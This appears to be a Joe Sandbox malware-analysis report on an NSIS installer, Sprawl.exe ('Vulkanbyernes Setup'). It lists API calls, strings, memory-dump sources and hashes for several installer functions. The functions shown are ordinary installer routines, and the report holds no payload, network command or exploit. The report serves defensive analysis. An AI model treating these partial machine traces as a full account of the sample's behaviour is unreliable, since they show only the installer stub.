String ID: "$"C:\Users\user\Desktop\Sprawl.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\Desktop$C:\Users\user\Desktop\Sprawl.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$Vulkanbyernes Setup$\Temp$`K$v$~nsu
API String ID: 3329125770-2255513630
Opcode ID: dcb38b1e2b76dc19c0501d8e0158ad62898b17a6a9361bfb335ac8dc35fe19f6
Instruction ID: 749ed98c63e487a66f460374afa67f5348490bcf6ac540fe4d7c6930d14d49f5
Opcode Fuzzy Hash: dcb38b1e2b76dc19c0501d8e0158ad62898b17a6a9361bfb335ac8dc35fe19f6
Instruction Fuzzy Hash: E1C105306086416AE7216F61AC4DA6F3EACEF46706F04457FF541BA1E3C77C9A058B2E

Function 004048C5 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048DD
GetDlgItem.USER32(?,00000408), ref: 004048E8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404932
LoadBitmapA.USER32(0000006E), ref: 00404945
SetWindowLongA.USER32(?,000000FC,00404EBC), ref: 0040495E
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404972
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404984
SendMessageA.USER32(?,00001109,00000002), ref: 0040499A
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004049A6
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004049B8
DeleteObject.GDI32(00000000), ref: 004049BB
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049E6
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049F2
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A87
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404AB2
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AC6
GetWindowLongA.USER32(?,000000F0), ref: 00404AF5
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B03
ShowWindow.USER32(?,00000005), ref: 00404B14
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404C11
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C76
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C8B
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404CAF
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404CCF
ImageList_Destroy.COMCTL32(?), ref: 00404CE4
GlobalFree.KERNEL32(?), ref: 00404CF4
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D6D
SendMessageA.USER32(?,00001102,?,?), ref: 00404E16
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E25
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E45
ShowWindow.USER32(?,00000000), ref: 00404E93
GetDlgItem.USER32(?,000003FE), ref: 00404E9E
ShowWindow.USER32(00000000), ref: 00404EA5

Strings

M, xrefs: 00404A6E
, xrefs: 00404E7D
(N, xrefs: 00404E4B
N, xrefs: 00404B4F

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $(N$M$N
API String ID: 1638840714-1749088486
Opcode ID: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction ID: ee94c2e81ac7fcd3d2633371b1ae487f30220c2a0e0de663c2dd45f1c85c3c3c
Opcode Fuzzy Hash: 98e2d7c6ee6a234b068a5e6a8c88a9cece07b0d44b3c2dcd542ae9ed88053873
Instruction Fuzzy Hash: D70262B0A00209AFEB20DF55DC45AAE7BB5FB84315F14413AF610BA2E1C7799D51CF58

Function 00404352 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 274
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A1
SetWindowTextA.USER32(00000000,?), ref: 004043CB
SHAutoComplete.SHLWAPI(00000000,00000001,00000006,00000000,?,00000014,?,?,00000001,?), ref: 00404405
SHBrowseForFolderA.SHELL32(?,00428C40,?), ref: 0040447C
CoTaskMemFree.OLE32(00000000), ref: 00404487
lstrcmpiA.KERNEL32(Space available: ,00429868), ref: 004044B9
lstrcatA.KERNEL32(?,Space available: ), ref: 004044C5
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044D7

Part of subcall function 00405509: GetDlgItemTextA.USER32(?,?,00000400,0040450E), ref: 0040551C

Part of subcall function 00405F9A: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Sprawl.exe",76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405FF2
Part of subcall function 00405F9A: CharNextA.USER32(?,?,?,00000000), ref: 00405FFF
Part of subcall function 00405F9A: CharNextA.USER32(?,"C:\Users\user\Desktop\Sprawl.exe",76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406004
Part of subcall function 00405F9A: CharPrevA.USER32(?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000,004030EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00406014

GetDiskFreeSpaceExA.KERNELBASE(C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,?,?,?,00000001,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,?,?,000003FB,?), ref: 0040454E
GetDiskFreeSpaceA.KERNEL32(C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,?,?,0000040F,?,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,?,00000001,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,?,?,000003FB,?), ref: 00404595
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B0

Part of subcall function 00404709: lstrlenA.KERNEL32(00429868,00429868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
Part of subcall function 00404709: wsprintfA.USER32 ref: 004047AF
Part of subcall function 00404709: SetDlgItemTextA.USER32(?,00429868), ref: 004047C2

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 004044A2
Space available: , xrefs: 004044B3, 004044B8, 004044C3
(N, xrefs: 0040460C
A, xrefs: 00404475
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 0040451F, 00404525, 0040454D, 0040455B, 0040456F, 00404575, 00404594

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CharItemText$FreeNext$DiskSpace$AutoBrowseCompleteFolderPrevTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (N$A$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$Space available:
API String ID: 4039761011-3582746545
Opcode ID: 92617ce1ab210426147f8d25d609736ba8401d1a6e22c2ed364add3f88eda8c7
Instruction ID: ab5132907fc5b2f665edfad9f17b3ca32a66d27d09768481e079f0ca797b6646
Opcode Fuzzy Hash: 92617ce1ab210426147f8d25d609736ba8401d1a6e22c2ed364add3f88eda8c7
Instruction Fuzzy Hash: 07A194B1900209ABDB11AFA2CC45AAF77B8EF85314F10843BF601B62D1D77C8941CB69

Function 00405D51 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,00429048,00000000,00404F80,00429048,00000000), ref: 00405E02
GetSystemDirectoryA.KERNEL32(Space available: ,00000400), ref: 00405E7D
GetWindowsDirectoryA.KERNEL32(Space available: ,00000400), ref: 00405E90
SHGetSpecialFolderLocation.SHELL32(?,0041C205), ref: 00405ECC
SHGetPathFromIDListA.SHELL32(0041C205,Space available: ), ref: 00405EDA
CoTaskMemFree.OLE32(0041C205), ref: 00405EE5
lstrcatA.KERNEL32(Space available: ,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F07
lstrlenA.KERNEL32(Space available: ,?,00429048,00000000,00404F80,00429048,00000000), ref: 00405F59

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F01
Space available: , xrefs: 00405D78, 00405E4A, 00405E67, 00405E7C, 00405E8F, 00405EAB, 00405ED6, 00405F06, 00405F0C, 00405F24, 00405F37, 00405F52, 00405F58, 00405F63, 00405F8D
(N, xrefs: 00405D5E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E4C

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: (N$Software\Microsoft\Windows\CurrentVersion$Space available: $\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-2320315919
Opcode ID: 672f3ffac8e58b905acbb07927a48302432eebfa17072ae61d639ec34a28093f
Instruction ID: d2d5afd6cadd1c558da9919d7f7a0e519c97b97f5b6dedc277a7ce0050389877
Opcode Fuzzy Hash: 672f3ffac8e58b905acbb07927a48302432eebfa17072ae61d639ec34a28093f
Instruction Fuzzy Hash: 99610671A04916ABEF216B24DC85BBF7BA8DB15314F10813BE941BA2D1D33C4942DF9E

Function 004055D1 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055FA
lstrcatA.KERNEL32(0042A870,\*.*,0042A870,?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405642
lstrcatA.KERNEL32(?,00409014,?,0042A870,?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405663
lstrlenA.KERNEL32(?,?,00409014,?,0042A870,?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405669
FindFirstFileA.KERNEL32(0042A870,?,?,?,00409014,?,0042A870,?,?,76233410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040567A
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405727
FindClose.KERNEL32(00000000), ref: 00405738

Strings

"C:\Users\user\Desktop\Sprawl.exe", xrefs: 004055D1
\*.*, xrefs: 0040563C
C:\Users\user\AppData\Local\Temp\, xrefs: 004055DE

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Sprawl.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-25746555
Opcode ID: 2b7e5661b8b3b760765e09419aafe74f52747e63502cbb40739d7b63bde2251d
Instruction ID: d14c28ea715dd5a13497ef66355ac6b33f8f035006b682f92d24d725560d25e8
Opcode Fuzzy Hash: 2b7e5661b8b3b760765e09419aafe74f52747e63502cbb40739d7b63bde2251d
Instruction Fuzzy Hash: 0D51CF30800A44AADF21AB258C85BBF7AB8DF92754F54447BF404761D2D73C8982EE6E

Function 00406033 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(76233410,0042B0B8,0042AC70,004058D2,0042AC70,0042AC70,00000000,0042AC70,0042AC70,76233410,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76233410,C:\Users\user\AppData\Local\Temp\), ref: 0040603E
FindClose.KERNELBASE(00000000), ref: 0040604A

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction ID: 8bfbb141000912a81af5c8de5ce039a851029b32224eb031c3a4159cf0b452c4
Opcode Fuzzy Hash: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction Fuzzy Hash: 11D0123195D1205BC31167387D0C88B7B599B163317518A33B56AF12F0C7349C6686EE

Function 00403A41 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A7D
ShowWindow.USER32(?), ref: 00403A9A
DestroyWindow.USER32 ref: 00403AAE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403ACA
GetDlgItem.USER32(?,?), ref: 00403AEB
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403AFF
IsWindowEnabled.USER32(00000000), ref: 00403B06
GetDlgItem.USER32(?,00000001), ref: 00403BB4
GetDlgItem.USER32(?,00000002), ref: 00403BBE
SetClassLongA.USER32(?,000000F2,?), ref: 00403BD8
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C29
GetDlgItem.USER32(?,00000003), ref: 00403CCF
ShowWindow.USER32(00000000,?), ref: 00403CF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D02
EnableWindow.USER32(?,?), ref: 00403D1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D33
EnableMenuItem.USER32(00000000), ref: 00403D3A
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D52
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D65
lstrlenA.KERNEL32(00429868,?,00429868,Vulkanbyernes Setup), ref: 00403D8E
SetWindowTextA.USER32(?,00429868), ref: 00403D9D
ShowWindow.USER32(?,0000000A), ref: 00403ED1

Strings

Vulkanbyernes Setup, xrefs: 00403D7F

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Vulkanbyernes Setup
API String ID: 3282139019-4259525593
Opcode ID: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction ID: 4996b7fab7fdeaebc033b1676f4cae353b3174fabf4a12f0715eb1af02f584c4
Opcode Fuzzy Hash: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction Fuzzy Hash: 74C1B131A04205ABDB216F62ED85E2B7EBCFB4570AF40053EF501B11E1C739A942DB6E

Function 004036AF Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

lstrcatA.KERNEL32(1033,00429868,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429868,00000000,00000002,76233410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Sprawl.exe",00000000), ref: 0040372A
lstrlenA.KERNEL32(Space available: ,?,?,?,Space available: ,00000000,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian,1033,00429868,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429868,00000000,00000002,76233410), ref: 0040379F
lstrcmpiA.KERNEL32(?,.exe), ref: 004037B2
GetFileAttributesA.KERNEL32(Space available: ), ref: 004037BD
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian), ref: 00403806

Part of subcall function 00405C8D: wsprintfA.USER32 ref: 00405C9A

RegisterClassA.USER32(0042DBA0), ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403890
ShowWindow.USER32(00000005,00000000), ref: 004038C6
GetClassInfoA.USER32(00000000,RichEdit20A,0042DBA0), ref: 004038F2
GetClassInfoA.USER32(00000000,RichEdit,0042DBA0), ref: 004038FF
RegisterClassA.USER32(0042DBA0), ref: 00403908
DialogBoxParamA.USER32(?,00000000,00403A41,00000000), ref: 00403927

Strings

RichEd20, xrefs: 004038CC
"C:\Users\user\Desktop\Sprawl.exe", xrefs: 004036B3
RichEdit20A, xrefs: 004038EA, 004038F0
C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 00403739, 00403741, 004037D9, 004037DF, 004037EF
RichEdit, xrefs: 004038F9
Space available: , xrefs: 0040376D, 00403775, 00403782, 004037CC, 004037D2
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B4
.DEFAULT\Control Panel\International, xrefs: 00403715
RichEd32, xrefs: 004038DA
.exe, xrefs: 004037AC
1033, xrefs: 004036CF, 00403725
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
_Nb, xrefs: 00403822, 0040388A

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Sprawl.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Space available: $_Nb
API String ID: 1975747703-3763382298
Opcode ID: 394e4bb129311e5b6d6d20aedec098417f6b3d3145e2df1ac527dc8f8ff082cb
Instruction ID: 60e5f6254d87716c4f77e59e0de616dae33e132719ef70849b8472436850552a
Opcode Fuzzy Hash: 394e4bb129311e5b6d6d20aedec098417f6b3d3145e2df1ac527dc8f8ff082cb
Instruction Fuzzy Hash: 4161E6B07442006EE620BF269C85F373EACEB45749F50443FF945B62E2C67CAD429A2D

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Sprawl.exe,00000400), ref: 00402C93

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

GetFileSize.KERNEL32(00000000,00000000,00436000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Sprawl.exe,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 00402CDF

Strings

Null, xrefs: 00402D5D
soft, xrefs: 00402D54
C:\Users\user\Desktop\Sprawl.exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0
"C:\Users\user\Desktop\Sprawl.exe", xrefs: 00402C66
Inst, xrefs: 00402D4B
C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D
Error launching installer, xrefs: 00402CB6

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
